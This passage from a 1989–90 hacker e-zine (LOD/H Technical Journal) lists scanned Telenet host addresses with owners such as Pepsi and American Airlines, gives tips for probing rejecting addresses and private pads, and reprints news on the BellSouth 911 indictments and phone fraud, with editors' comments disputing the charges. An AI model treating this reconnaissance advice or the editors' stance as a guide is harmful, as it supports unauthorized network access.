890--UNKNOWN--ADDRESSES SCANNED:  0-200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
$  100                    ADTN USER ID
$  102                         "
$  103                         "
$  109     GS/1
$  110                    ADTN USER ID
$  125                         "
$  126                         "
$  129                         "


901--TENNESSEE--ADDRESSES SCANNED:  0-300

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
*  30
*  134


904--FLORIDA--ADDRESSES SCANNED:  0-400

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
$  34      AOS
$  41      AOS
$  45      AOS
$  50      AOS
   51                     COMMAND UNRECOGNIZED
   52                     COMMAND UNRECOGNIZED
   53                     COMMAND UNRECOGNIZED
$  55      AOS
$  56      AOS
$  58                     ID
*  60
   141
*  160
*  161
   232
*  235


907--ALASKA--ADDRESSES SCANNED:  0-200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
$  31                     ID
*  32
$  33      AOS
*  34
$  35      AOS
$  44
$  45      AOS
*  46
$  47      AOS
$  48      AOS
*  50
*  51
$  130     AOS
   138


909--TELENET--ADDRESSES SCANNED:  0-1000

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
$  3                      Telenet Port
   8       PRIME
   9       PRIME
   10      PRIME
   12      PRIME
   13
   14                     Telenet Port
   23      PRIME
   26      PRIME
   27      PRIME
   38      PRIME
   39                     USER ID
   44      PRIME
   52
   53      PRIME
   54
   56      PRIME
   60      PRIME
   61      PRIME
   62      PRIME
   63      PRIME
   65      PRIME
   73      PRIME
   77      PRIME
   78      PRIME
   79                     MHP201A
   90      PRIME
   92      PRIME
   94      PRIME
   95      PRIME
   97      PRIME
   98      PRIME
   100     PRIME
   101                    USER ID
   102                    USER ID
   104
   117     PRIME
   123     PRIME
   130     PRIME
   131     PRIME
   136     PRIME
   137     PRIME
   139     PRIME
   141     PRIME
   143     PRIME
   144     PRIME
   146     PRIME          Telemail
   147     PRIME              "
   148     PRIME              "
   149     PRIME              "
   151
   153                    TACL 1>
   154                       "
   155     PRIME          Telemail
   158     PRIME              "
   159     PRIME              "
   160     PRIME              "
   161     PRIME              "
   162     PRIME
   165     PRIME          Telemail
   168     PRIME              "
*  170
   171
   172
   173     PRIME
   176     PRIME
   178                    USER ID
   179                       "
   184                       "
   187
   197
   198
   205     PRIME
   206     PRIME
   235     PRIME
   236     PRIME
   239     PRIME
$  312                    !Load and Function Tester
$  314                               "
   316                               "
$  317                               "
   318                               "
   319                               "
   325
   328                    !Load and Function Tester
   330                    FRAME TESTER?
   338                    !Load and Function Tester
   400     PRIME          Telemail
   401     PRIME              "
   403     PRIME              "
   404     PRIME              "
   406     PRIME              "
   407     PRIME
   408     PRIME
   409     PRIME
   508     PRIME
   600     VAX
   615     PRIME
   622     PRIME
   623     PRIME
   624     PRIME
   626     PRIME
   627     PRIME
   628     PRIME
   629     PRIME
   630     PRIME
   631                    PC Pursuit BBS
   632
   633
   634
   635
   643     PRIME
   646
   650     PRIME
   651     PRIME
   656
   657
   658
   659
   660
   661
   663
   664
   675     PRIME
   676     PRIME
   677     PRIME
   678     PRIME
   679     PRIME
   680     PRIME
   686                    Telenet FE BBS1
   747
   751                    TELENET MUS/XA NETWORK
   761     PRIME          Telemail
   762     PRIME
   763     PRIME
   764                    Telenet Async to 3270
   767                    TELENET NUS/XA NETWORK
   770     PRIME
   772     PRIME
   773     PRIME
   777                    Telenet Async to 3270
   779                             "
   781                             "
   782                             "
   784                             "
   798     PRIME
   799     PRIME
   800     PRIME
   801     PRIME
   805     PRIME
   810     PRIME
   811     PRIME
   815     PRIME
   816     PRIME
   817     PRIME
   818     PRIME
   819     PRIME
   822     PRIME
   823     PRIME
   824     PRIME
   825     PRIME
   826     PRIME
   827     PRIME
   828     PRIME
   830     PRIME
   831     PRIME
   832     PRIME
   833     PRIME
   834     PRIME
   840     PRIME          Telemail
   841     PRIME              "
   842     PRIME              "
   843     PRIME              "
   844     PRIME              "
   845     PRIME              "
   846
   847
   848     PRIME          Telemail
   893     PRIME
   894     PRIME
   900     PRIME
   901     PRIME
   902     PRIME
   911     PRIME
   912     PRIME


910--TELENET--ADDRESSES SCANNED:  VARIOUS

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
   100     PRIME
   200     PRIME
   300     PRIME
   400     PRIME
   500     PRIME


912--GEORGIA--ADDRESSES SCANNED:  0-200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
   30
*  31


913--KANSAS--ADDRESSES SCANNED:  0-200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
$  32                     ID
*  34
$  150     PRIME          TOPEKA


914--NEW YORK--ADDRESSES SCANNED:  0-200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
$  32      VM/370
   33      VM/370
   34                     >>
   35                     >>
*  38
$  41      VM/370         Pepsi
*  42
   50                     Mnematics
   133
*  160


916--CALIFORNIA--ADDRESSES SCANNED:  0-700

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
$  7                      PC Pursuit Dialer (2400)
$  11                     PC Pursuit Dialer (300)
$  12                     PC Pursuit Dialer (1200)
$  30      AOS
$  33      AOS
$  34      PRIME          SACRA
$  36                     ID
$  39      AOS
$  40      AOS
$  41                     ID
   55      PRIME          FIMSAC
$  56      AOS
$  57      AOS
$  58      AOS
$  59      AOS
$  63      AOS
$  64      AOS
$  130     AOS
$  131     AOS
$  132     AOS
$  133     AOS
$  134     AOS
$  141     AOS
$  168     AOS
*  169
*  171
$  232     AOS
$  233     AOS
*  234
$  235     AOS
$  236     AOS
   240
   268                    Telenet Async to 3270
*  330
*  331
*  332
*  333
*  334
*  335
*  336
*  337
*  338
*  339
   350
*  360
*  361
*  362
*  363
*  364
*  365
*  366
*  367
*  368
*  369
$  530
*  531
   607     UNIX           IPA State Net
   608     UNIX           IPA State Net


918--OKLAHOMA--ADDRESSES SCANNED:  0-200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
$  30                     ID
   40                     CUSTOMER ID:
   105                    American Airlines
   130                    American Airlines


919--NORTH CAROLINA--ADDRESSES SCANNED:  0-200

$  ADDR    SYSTEM TYPE    OWNER/SYSTEM NAME/RESPONSE
----------------------------------------------------
$  20                     PC Pursuit Dialer (300)
$  21                     PC Pursuit Dialer (1200)
$  33                     ID
$  34      AOS
*  36
*  38
   43                     enter system id
   44                            "
   46                            "
   47      VM/370         Northern Telcom
*  58
$  59      AOS
*  60
$  70      HP-3000
$  124                    PC Pursuit Dialer (2400)
$  130     HP-3000
   135                    USA TODAY Sports Center
*  139
$  145
*  158
*  159


MNEMONIC ADDRESSES
------------------

$  AFS
   APPLE
   BCS
   BIONET
   BLUE
   BRS
   CCC03
   CMS
$  COM
   D30
   D31
   D32
   D33
   D34
   D35
   D36
   D37
   D41
   D42
   D43
   D44
   D45
   D46
   D50
   D51
   D52
   D53
   D54
   D55
   D56
   D57
   D58
   D61
   D62
   D63
   D64
   DELPHI
   DOW
   DUNS
   EIES
   GOLD
   GTEM
   HHTRAN
   INFO
   IRIS
   MMM
   MUNI
   NASA
   NET
   NSF
   OAG
   OLS
   ORBIT
   PORTAL
   PRIME
   S10
   S11
   S12
   S13
   S14
   S15
   S16
   S17
   S18
   S19
   SIS
   SIT
   SPR
   STK1
   STK2
   STK3
   STK4
   SUMEX
   USIBM
   USPS
   VUTEXT



PC-PERSUIT DIALERS
------------------

C D/CITY/BAUD,ID,PASSWORD

A/C        CITY
---        -----
201        NJNEW
202        DCWAS
203        CTHAR
206        WASEA
212        NYNYO
213        CALAN
214        TXDAL
215        PAPHI
216        OHCLV
303        CODEN
305        FLMIA
312        ILCHI
313        MIDET
314        MOSLO
404        GAATL
408        CASJO
414        WIMIL
415        CAPAL
415        CASFA
503        ORPOR
602        AZPHO
612        MNMIN
617        MABOS
619        CASAD
713        TXHOU
714        CARIV
714        CASAN
801        UTSLC
813        FLTAM
816        MOKAN
818        CAGLE
916        CASAC
919        NCRTP



TELENET SCANNING TIPS
--------------------

There are a few things to take into consideration when using Telenet.
First of all, ignore error messages!  When something says rejecting, or
illegal address, or remote procedure error, try it again using sub-
addresses.  (IE:  100100a, 100100b...100100.99)  I have also found that
some addresses that are rejecting merely require that you connect to it
using an id.  Many of the things that respond with illegal address are
telenet pads.  Most of the public pads are in the following ranges:  0-20,
80-100, 180-190.  Many times you will find private pads.  If you are very,
very lucky you will find that pad-to-pad connections are possible to these
privately owned pads.  However, most of the time they are not operating, so
your chances of actually picking anything up are very slim.

When I did this directory I only checked the first few sub addresses on
addresses that didn't immediately connect, so needless to say there are
still a vast amount of systems out there.  One address I have responds with
rejecting until you connect to the sub address 74!  Imagine trying to go
that far on each of the thousands of rejecting and illegal addresses I
obtained in my scanning!  Maybe some other time.

There are several areas that I scanned that are not in this directory.
Mainly, these are areas where I didn't find anything.  So you don't waste
your time, all hosts in Canada are served through Datapac, so there is
nothing in areas prefixed with a Canadian area code.  There are also many
US areas that I guess are still striving for the Industrial Revolution, and
therefore have no systems online.  There are also several privately owned
prefixes that I didn't scan just because it would be a pain in the ass,
above and beyond the pain involved doing the main scanning.  The major ones
are 622 (NYNEX), 891, 892, 893, & 894 (OWNERS UNKNOWN).  There are also a
few others that go up and down daily, depending upon their mood.  I
wouldn't suggest that you all immediately start hacking these prefixes;
mainly because you will need an ID just to get a response other than
refused collect connection.

Lastly, if anyone finds any errors in the directory, or finds anything I
omitted, let me know, and I'll revise it.  Also, if anyone would like a
copy of the telix script I used to do this scanning, let me know.  This was
a bitch to do, but I think it was worth the trouble.  The next update won't
be for a year, as this should suffice for at least that long.


==============================================================================
              End of Second Half of LOD/H Telenet Directory, Rev. #5
==============================================================================
The LOD/H Technical Journal, Issue #4: File 10 of 10.



                          NETWORK NEWS AND NOTES
                          ----------------------


The Network News and Notes file contains reprints of articles that are of
interest to the majority of our intended readers. In this installment we
borrowed heavily from the CFCA (Communications Fraud Control Association)
Communicator since the newsletter deals specifically with issues relevant to
our readers. The CFCA is "a nonprofit educational organization founded in
1985 to help the telecommunications industry combat fraud."

Overall, do not let the titles mislead you. Every article contains interesting
and we hope useful information. Be sure to take the time and read into them
before skipping. Some are a little old but better late than never. If anyone
comes across any articles of interest, we would like to know about them. One
more note, all comments within brackets [], are remarks made by one of
the TJ editors.

The first two articles, as was stated in the Introduction, relate the various
trouble some noted members of the community ran into.

______________________________________________________________________________


Source: The Wall Street Journal
Issue: Wednesday, February 7, 1990
Title: Computer Hackers Accused of Scheme Against BellSouth
Author: Thomas M. Burton


   CHICAGO--Federal grand juries in Chicago and Atlanta indicted four computer
hackers in an alleged fraud scheme that authorities said could potentially
disrupt emergency "911" telephone service throughout nine Southern States.

   The men, alleged to be part of a closely knit cadre of computer hackers
known as the Legion of Doom, gained access to the computer system, controlling
telephone emergency service of BellSouth Corp., the Atlanta-based
telecommunications giant.

   BellSouth, through two subsidiaries, oversees phone service in Alabama,
Mississippi, Georgia, Tennessee, Kentucky, Louisiana, Florida, and the
Carolinas.

   The Chicago indictment said members of the Legion of Doom are engaged in
disrupting telephone service by entering a telephone company's computers and
changing the routing of telephone calls. The hackers in the group also
fraudulently obtain money from companies by altering information in their
computers, the indictment said.


   The hackers transferred stolen telephone-computer information from
BellSouth to what prosecutors termed a "computer bulletin board system"
in Lockport, Ill. In turn, the men planned to publish the computer data in a
hackers' magazine, the grand jury charged.

-----EDITOR'S NOTES:
   As always, ignorance and falsehoods are abound in most articles of this
nature. For the record, NO TELEPHONE SERVICE WAS INTENTIONALLY DISRUPTED DUE
TO THE ACCUSED MEMBERS. Furthermore, NO MONEY FROM COMPANIES WAS EVER
FRAUDULENTLY OBTAINED BY ALTERING INFORMATION IN THEIR COMPUTERS. These are
the typical WILD accusations made by law enforcement and further distorted
by the media in such cases. As for the bbs is Lockport, Ill. well it was
simply a legitimate information storage and retrieval system used by many,
many people for legitimate purposes of information exchange. It would be very
time consuming for the operator of said system to check every file on the
system as it was a UNIX based system with a lot of disk space. The hacker
magazine stated above is simply Phrack, Inc. put out by Knight Lightning and
Taran King. More comments after next article.


_____________________________________________________________________________

Source: ComputerWorld
Issue:  1990
Title: Babes in high tech toyland nabbed
Author: Michael Alexander

   CHICAGO--- The U.S. Justice Department escalated its ware against computer
crime last week with two indictments against members of an alleged computer
hacker group, who are charged with stealing a copy of a 911 emergency computer
program from BellSouth Telephone Co., among several other crimes.

   In a seven-count indictment returned in Chicago, Robert X, 20 also known as
"The Prophet", is alleged to have used a computer to steal a copy of a
computer program owned and used by BellSouth that controls emergency calls to
the police, fire, ambulance and emergency services in cities throughout nine
Southern states. According to the indictment, after X stole the program --
valued at $79,449 -- he uploaded it to a computer bulletin board.

   The Chicago indictment further alleges that Craig Y, 19, also known as
"Knight Lightning" downloaded the 911 program to his computer at the
University of Missouri in Columbia, Mo., and edited it for publication in
"Phrack", a newsletter for computer hackers.

   X and Y allegedly intended to disclose the stolen information to other
computer hackers so that they could unlawfully access and perhaps disrupt
other 911 services, the Chicago indictment charged.

   In a second indictment returned in Atlanta, X and two others were charged
with additional crimes related to BellSouth systems.

   All four hackers allegedly are members of the Legion of Doom, described in
the indictments "as a closely knit group of about 15 computer hackers", in
Georgia, Texas, Michigan and several other states.

   BellSouth spokesmen refused to say when or how the intrusion was detected
or how a computer hacker was able to lift the highly sensitive and proprietary
computer program.

   "Hopefully, the government's action underscores that we do not intend to
view this as the work of a mischievous prankster playing in a high-tech
toyland", one spokesman said.

   A source within BellSouth said that much of what the hacker took was
documentation and not source code. "They did not disrupt any emergency
telephone service, and we are not aware of any impact on our customers", the
source said.

   William Cook, an assistant U.S. attorney in Chicago, declined to comment on
whether 911 service was actually disrupted. "It is a matter of evidence,", he
said.

   Cook also said that while the two hackers are charged with carrying out
their scheme between December 1988 and February 1989, the indictment came
after a year-long investigation. Though Cook refused to say how the hackers
were discovered or caught, it is believed that after the initial penetration
by one of the hackers, an intrusion task force was set up to monitor
subsequent security breaches and to gather evidence against the hackers.

   If convicted on all counts, X faces a prison sentence of up to 32 years and
a maximum fine of $222,000, and Y faces a prison sentence of 31 years and a
maximum fine of $122,000.

   The Atlanta indictment charged Robert X, Adam Z, 22 known as "The Urvile"
and also "Necron 99", and Frank XYZ, 23 known as "The Leftist", with eight
counts each of computer fraud, wire fraud, access code fraud and interstate
transportation of stolen property, among other crimes.

   If convicted, each defendant faces up to five years imprisonment and a
$250,000 fine on each count. The three illegally accessed Bellsouth computers
and obtained proprietary information that they distributed to other hackers,
the indictment alleged.

  ----EDITOR's NOTES: As is confirmed in this article, no telephone service
was disrupted. The extent of BellSouth's inadequacy regarding security matters
was not detailed in these articles. Here is a rundown of what may have
possibly happened: BellSouth's SBDN (Southern Bell Data Network) which is a
modified Telenet network that contains hundreds if not thousands of network
nodes (individual systems) may have been accessed during which time the system
that controls the entire network may have been possibly compromised. This
would allow someone to access just about any system on the network, since
Bellsouth consolidated most of their individual systems onto a large network
(economically not a bad idea, but a security nightmare indeed). This may allow
one to stumble onto systems dealing with 911. Since it may be interesting to
learn how such a system operates and how the 'automatic trace' is
accomplished, the documentation would be of some help. No need for any actual
programs however. Possibly, maybe, an article paraphrased the operation of 911
and was possibly to be distributed through the Phrack, Inc. newsletter.

The last names of those involved were omitted. Go look them up for yourself if
you think its that important.

Just for the record: KNIGHT LIGHTNING NEVER WAS A MEMBER OF LOD. Yet another
error in the reporting...LOD has half the 15 supposed number of members.

Another article followed the above one on the same page, by the same author:

Last week's disclosure of an alleged hacker theft of highly sensitive
BellSouth Telephone Co. documentation for a nine-state 911 emergency system
was the second serious security breach of a telephone company network to come
to light in as many months.

   In January, a trio of hackers was able to penetrate computer systems at
Pacific Bell Telephone Co. and eavesdrop on conversations and perpetrate other
criminal acts. [CW, Jan. 22].

   Just how vulnerable are the nation's telephone systems to hacker attacks?
Spokesmen for BellSouth and Pacific Bell insist that their systems are secure
and that they and other telephone companies routinely assess their
vulnerability to hackers.

   "Security is being constantly changed, every intrusion is studied,
passwords are changed," said Terry Johnson, manager of media relations for
BellSouth in Atlanta.

   Johnson however, declined to say how the hackers allegedly were able to
lift the documentation to a 911 emergency communication services program.

   "It is a rather serious computer security breach," said Richard Ichikawa, a
Honolulu based telecommunications consultant who specializes in designing and
installing 911 emergency systems. Stealing documentation, as the Legion of
Doom member is alleged to have done, many not be a particularly difficult task
for a savvy hacker, he said.

   Taking the actual program, while certainly possible, would be much more
challenging, however. The computer the controls enhanced 911 service is "quite
isolated" from the calling public, Ichikawa said.

   A recently published report to Congress by the Office of Technology
Assessment suggested that the security and survivability of the nation's
communication infrastructure is at greater risk to hacker attacks than ever
before. Business and government reliance on communications and information
based systems has increased, thus much more is at stake when those systems
fail, the report stated.

   The increased publicity of hacker attacks may help to curb attacks by
hackers, said Sanford Sherizen, a security consultant at Data Security
Systems, Inc., in Natick, Mass.

   Some law enforcement officials complain that the nation's telephone firms
do not cooperate as readily as they would expect when attacks of this sort
occur. "They [telecommunications providers] are the single biggest headache
law enforcers have right now," said Gail Thackery, Arizona stat assistant
district attorney.

   Regional Bell operating companies contacted last week disputed that
assertion.

_____________________________________________________________________________

Source: CFCA (Communications Fraud Control Association) Communicator
Issue: February-March 1989
Title: But are LD networks safe?

   Spread over vast distances and segmented by switches guarded by their own
passwords, long distance networks are generally safe from virus attacks.
According to Henry Kluepfel, Bellcore district manager of Security Planning
intruders can easily attain the same information that is available to vendors
and service providers. "If passwords are not changed regularly, intruders
can quickly wreak havoc".

   Scott Jarus, division director of Network Loss Prevention for Metromedia,
and a member of CFCA's Board of Directors, says that users of "outboard"
computer systems should not be assigned high level access to their company's
switches or networks. "Non-proprietary hardware and software that handle
such functions as billing collection and network database management are
targets for unauthorized access and viruses", he says.

   Mr. Kluepfel says that once hackers have the documentation they can send
details on how to crash the systems to hundreds of bulletin boards. "We
found that many system administrators didn't realize manufacturers install
rudimentary default passwords."

   Bellcore encourages using sophisticated codes and applying a variety of
defenses. "Don't simply rely on a dialback modem, or a good password", says
Mr. Kluepfel. "Above all, don't depend on a system to always perform as
expected. And remember that new employees don't know the administrative
measures the operator knows".

   Managers should advise clients on any needed internal analysis and
investigations, and keep abreast of technological advances when planning
their defenses.

_____________________________________________________________________________


Source: Same as above
Title: Secure those gray boxes

   After the FCC mandated that telcos provide test modes on the gray
[or green (ed. note)] connection boxes usually found outside structures,
there have been instances of persons surreptitiously clipping on handsets
or snapping in modular connections (RJ-11) to make long distance calls on the
residents' line. CFCA advises customers to padlock their boxes to deter such
thievery.

   John Venn, manger of Electronic Operations at PacBell's San Francisco
office, reports that the boxes they install have separate connections for
company and customer use, so that users have the option of securing access
to their portion. PacBell's side has a built-in lock, while customers have
padlock hasps.

_____________________________________________________________________________


Source: Same as above
Title: Product Description: Pen-Link analysis software
Author: Mike Murman

   Since 1986, Pen-Link, Ltd. of Lincoln Neb. has been producing software
that supports telecom investigations. Last July, the company introduced an
updated version of Pen-Link, a two-year-old program that accepts data from
most Dialed Number Recorders (DNRs) manufactured today, pools that information
into a common database structure, and allows the user to determine the calling
patterns and the codes that have been compromised.

   In today's ever-expanding telecommunications environment there is a need
for faster identification and documentation of abuser call patterns to assure
successful prosecutions. In applications of DNRs for investigative purposes,
Pen-Link programs have reduced the time normally needed to input, analyze and
report call data by as much as 90 percent. The result is improved productivity
and quicker response to customers' needs.

   The Pen-Link 2.0 program also provides several related features. First, it
is a communications program, meaning that if you are using a DNR with modem
capability or RS232 communication ports, the program can automatically load
your call records into a PC, eliminating the time needed to key-in call
record data.

   Second, Pen-Link has an autoload format section that takes call records
you have transferred and puts them into a standard record format. This is an
important feature, given that the program supports multiple types of DNR
hardware that all have unique call data formats.

   In short, you can use any combination of DNRs in your investigations with
Pen-Link and all data will be compatible. Furthermore, the program allows
you the flexibility of purchasing new DNRs of any type, and not worry about
duplicating your software expense or learning new software programs. [Notice
how he keeps saying "you" in this article? (ed.)]

   Finally, Pen-Link enables you to analyze and report on your call record
information. There are 15 different call analysis reports and 6 different
graphic reports. If these reports do not meet your needs, the program has a
report generator that allows you to customize your analysis and reports.

   Pen-Link is a dedicated program written in Turbo Pascal. The company
elected to start from scratch and develop its own software, rather than
simply adapting standard applications. There are two reasons for this
approach: dedicated software programs run more efficiently, so that if a
hacker is generating thousands of call records and you want to analyze and
report this information, the program can provide a report much faster than if
you were processing the data manually.

   The second reason behind this strategy is that users only need to learn
and understand the options for the pop-up menu format. Pen-Link also supports
color monitors.

   A manual editing feature allows you to enter your database and find
specific records by the criteria you have selected; then review and edit the
data. Manual editing also allows you to enter call data from old pen
registers that only produce paper strips containing call information.

   Another feature, the utilities section, provides several options to
manage call information stored in your computer. This allows you to archive
information to disk, then reload it later when it is needed. If your data
files become corrupted, you can reconstruct and reformat them by using the
utilities section. And if you wish to use your call data information in
another application program, Pen-Link's utilities allow  you to create an
ASCII text file of call information, which then can be read by these programs.
Furthermore, the program can accept ASCII text files from other DNR software
programs.

   The program calls for an IBM or compatible PC equipped with a hard drive,
operating under MS-DOS 2.1 or higher. Pen-Link currently supports the
following DNRs: JSI, Mitel, Racom, Voice ID, Hekimian, Bartec, Pamco, HDS,
and Positive Controls. If you are using a DNR that is not listed, Pen-Link,
LTD will program its software so it can automatically load call records from
your equipment.

   The use of DNRs that automatically transfer call record data saves your
security department considerable investigative time. Pen-Link's mission is
to provide telcom security departments with a sophisticated investigative
software tool that is easy to use, flexible and compatible.

_____________________________________________________________________________

Source: Same as above
Title: Extended Ky. case resolved

   A 21 year-old Kentucky man was successfully convicted October 27 on 14
counts of computer and toll fraud under a number of state statutes. The
defendant, John K. Detherage, pleaded guilty to using his personal computer to
identify authorization codes in order to place unauthorized long distance
calls valued at $27,000.

   Detherage had been indicted a year earlier by an Oldham County grand jury
on six felony counts related to the scam and two misdemeanor counts of
possessing stolen personal identification and calling card numbers. He was
later charged with two additional counts of possessing stolen PINs.

   Detherage originally was to have been tried in February 1988, but the case
was postponed when he pleaded guilty. He was sentenced at the Oldham County
Circuit Court at LaGrange to pay $12,000 in restitution, and relinquish all
computer equipment and software to the court.

   His charges included theft of services over $100; theft of services; four
counts of unlawful access to a computer, second degree; possession of stolen
credit or debit cards, and six counts of unlawful access to a computer. Four
other counts were dismissed.

   Kentucky has a number of statutes that can be applied to theft of telephone
services. Chapter 514.060 addresses theft of services, while 514.065 describes
the possession, use or transfer of a device for the theft of services. Theft
of services is defined to include telephone service, and the defendant was
charged with two counts under 514.060.

   Detherage was also charged with 10 counts (six felony and four misdemeanor)
under Chapter 434.580, which relates to the receipt of stolen credit cards.
Kentucky interprets computer crime as involving accessing of computer systems
to obtain money, property or services through false or fraudulent pretenses,
representations or promises.

_____________________________________________________________________________


Source: Same as above
Title: Industry Overview

   As major players in the telecom industry shore up the defenses on their
telephone and computer networks, criminals [who, us?] are turning to smaller,
less protected companies [its called survival of the fittest]. In 1988, the
use of stolen access codes to make free long distance calls continued to be
the favorite modus operandi among network intruders throughout the industry,
although code abuse leveled off or declined among large carriers with well
funded security organizations and substantial technical apparatus to defeat
most toll and network fraud.

   However, some resellers and PBX owners are being victimized by fraud of all
types, probably because most use access codes with only six or seven digits.
Such vulnerable systems will continue to be used by abusers to route long
distance calls overseas. Fraudulent calls placed on a compromised system
quickly accumulate charges the system owner must eventually pay.

   Many PBX's also lack effective systems able to detect irregular activities
and block fraudulent calls. Add to this the fact that several carriers may be
handling the inbound and outbound WATS lines, and investigator's jobs can
really become complex.

   The sharp increase in the abuse of voice store-and-forward systems, or
voice mail, that began alarming owners and manufacturers early last year will
continue through 1989. Last spring, traffickers began seizing private voice
mail systems to coordinate drug shipments. Messages can be quickly erased when
they are no longer needed. Dealers have been receiving mailbox numbers by
pager, then calling in recorded messages from public telephones.

   No matter how long a security code may be, if intruders obtain an 800
number to a voice mail system they can program a computer and take the time to
break it, because it won't cost them anything. Once accessed through a PBX,
intruders can exchange stolen lists of long distance access codes, usually
without the system owner's knowledge.

   The time it takes abusers to break into a voice mail system is
proportionate to the number of digits in a security code. A four-digit code
can, for example be beaten by a skilled computer operator in slightly over a
minute. [Clarification, this is probably through the use of default security
codes, not sequential or random scanning techniques. ed.] One problem is that
voice mail customers don't often know what features to select when buying a
system. And few manufactures take the initiative to advise customers of the
importance of security.

   Another problem that has been around for several years, subscription fraud,
will continue into 1989, although telcos have reduced it by making customer's
applications more detailed and comprehensive [like requiring customers to
supply their credit card numbers. This way if they skip town without paying
and the credit card is valid and not maxed out, the phone company can still
recover the money owned them. ed.], and by checking out potential customers
more thoroughly. Dishonest subscribers use false identification and credit
references to obtain calling cards and services, with no intention of paying.

   Intelligent software is available that aids switch and PBX owners in
identifying, screening and blocking fraudulent calls. Another precaution is
to add digits to access codes, because numbers of fewer than 10 digits cannot
withstand today's intruders. A number of carriers have already gone to 14
digits.

   Some larger carriers have been sending technical representative out to
reprogram PBX's, encourage customers to install better safeguards, and advise
them to shut down their systems at night and on weekends. Customers should
also expect to see billing inserts warning of the improved defenses against
fraud.

   As more companies break into the international market they will need solid
security safeguards to protect them against intrusions of their networks. A
small interexchange carrier (IC) in Alabama was hit hard recently by "phone
phreakers" soon after they opened overseas service.

   Other start-ups find themselves desperately trying to play catch up after
blithely operating several years without a hitch. An IC with 30,000 customers
in Southern California increased its seven-digit access codes to ten digits
and it aggressively pursuing five groups of hackers its investigators
uncovered after discovering that company-issued personal identification
numbers were posted on computer bulletin boards.

   In the final analysis, one fact emerges: widespread cooperation among
injured parties will ensure quicker results and conserve vital company
resources.

_____________________________________________________________________________


Source: PC Week   April 10,1989
Title: Keep an Ear Out for New Voice Technology
Author: Matt Kramer

   With the rise in digital transmission of voice and data, it's easy to
assume that voice and data have merged into a muddle of indiscriminate
material, with voice indistinguishable from data. After all, a bit's a bit,
right?

   But, those people in the white lab coats keep coming up with new ways to
use voice technology.

   The telephone companies are the ones poised to make the most of this
technology. U.S. Sprint recently announced that it was experimenting with the
use of "voice prints"--a recording of a verbal password that would be used to
help identify authorized subscribers using their U.S. Sprint telephone charge
cards, which would help cut down on hackers trying to steal telephone service.
Subscribers would record a voice print of a verbal password. Then, when they
were using their charge cards, they would repeat the passwords to verify their
identities.

   Northern Telecom has embarked on its own efforts to bring voice-recognition
technology to public telephone service. it is selling telephone companies a
new billing service that uses voice-recognition technology to automate collect
and third-number billing calls.

   Called the Automated Alternate Billing Service (AABS), the system calls the
party to be billed and "asks" if the charges will be accepted. The Northern
Telecom switch "listens" to the response and either completes the call or
informs the calling party that the charges have been refused.

   Northern Telecom also plans to use voice technology to offer other
features, such as allowing the system to announce the caller's name in the
party's own voice and stating the call's origin, such as the name of a city,
a university or an institution.

   The big draw for phone companies, of course, is reduction of personnel
costs, since no human operator assistance is needed. That's an option for lots
of corporate financial officers who have been attracted to automated-attendant
phone systems because they can replace a bevy of switchboard operators.

   What would be interesting about the Northern Telecom technology is to see
if it can be expanded to other gear, such as private branch exchanges, and if
if can beef up the automated-attendant feature. Rather than require callers
to punch a lot of buttons to get in touch with someone, perhaps voice
recognition could be used to "listen" for a name and then direct the call to
the appropriate party. That would be especially useful in situations where you
don't know the exact extension of whomever you are calling. Trying to maneuver
around an on-line telephone directory can be a real pain in the neck.

   At the same time, voice-recognition technology can be paired with voice
mail so that users can access their voice mailboxes without having to punch in
an identification number or password or to deal with a menu. It would be a lot
easier to just say, "Read messages".

   There's still a lot of potential to be developed in voice technology.

_____________________________________________________________________________


Source: PC WEEK   May 15, 1989
Title: MCI to Provide Transition to ISDN
Author: Matt Kramer

   MCI Communications Inc. hopes to give its customers a smoother transition
to ISDN with new services that offer many of the technology's features without
requiring costly upgrades to ISDN-compatible equipment.

   The communications company recently announced new Integrated Services
Digital Network and "ISDN-equivalent" services that will provide MCI customers
with network-configuration, control and management features, according to
company officials.

   The equivalent services, which will be available this fall, run over
existing in-band signaling channels. True ISDN services require a separate
out-of-band D channel for signalling.

   MCI's full ISDN services are scheduled for delivery in the first quarter of
next year.

   The equivalent services, while not providing the full ISDN feature set, are
designed to introduce customers to the benefits of ISDN before requiring them
to make the investment in ISDN-compatible telecommunications gear, officials
said.

   "While they may not want to make that expenditure now, they certainly want
to have ISDN-like services available", said Kevin Sharer, senior vice
president of sales and marketing at MCI, in Washington.

   The equivalent products include the MCI 800 Enhanced Services Package,
which allows customers with dedicated access lines to receive the number of
the calling party just prior to receiving the call. This Automatic Number
Identification (ANI) is then used to query a database to bring up a customer's
account or other information, according to officials.

   Northern Telecom Inc. and Rockwell International Corp. have developed new
software for their private branch exchanges that permits the switches to
handle in-band ANI transmission.

   Some observers expect the equivalent services will be useful in the
evolution from existing telecommunications to ISDN. "If all you need is ANI,
then the equivalent services might be just what you want", said Claude Stone,
vice president of product development at the First National Bank of Chicago
and vice chairman of the national ISDN Users Forum.

_____________________________________________________________________________

Source: A newspaper
Date: Sometime in June
Title: Sheriff's prisoners find handcuffs are a snap to get out of
Author: unknown

   Ten jail prisoners who discovered an ingenious way to escape from handcuffs
are sending alarms across the nation. Emergency bulletins will be sent to law
enforcement agencies via teletype machines nationwide. On Friday, deputies
were taking 10 prisoners from the jail downtown to another one in the city.
All were handcuffed.  "When the deputy opened the back of the van, all 10 guys
were smiling and said, 'See what we did,'" the Sheriff said. Each prisoner
held up his arms to show broken handcuffs.

   The culprit was a simple seat belt clip. The circular cuffs are connected
with a chain, held tightly to each cuff by a swivel-head link that moves
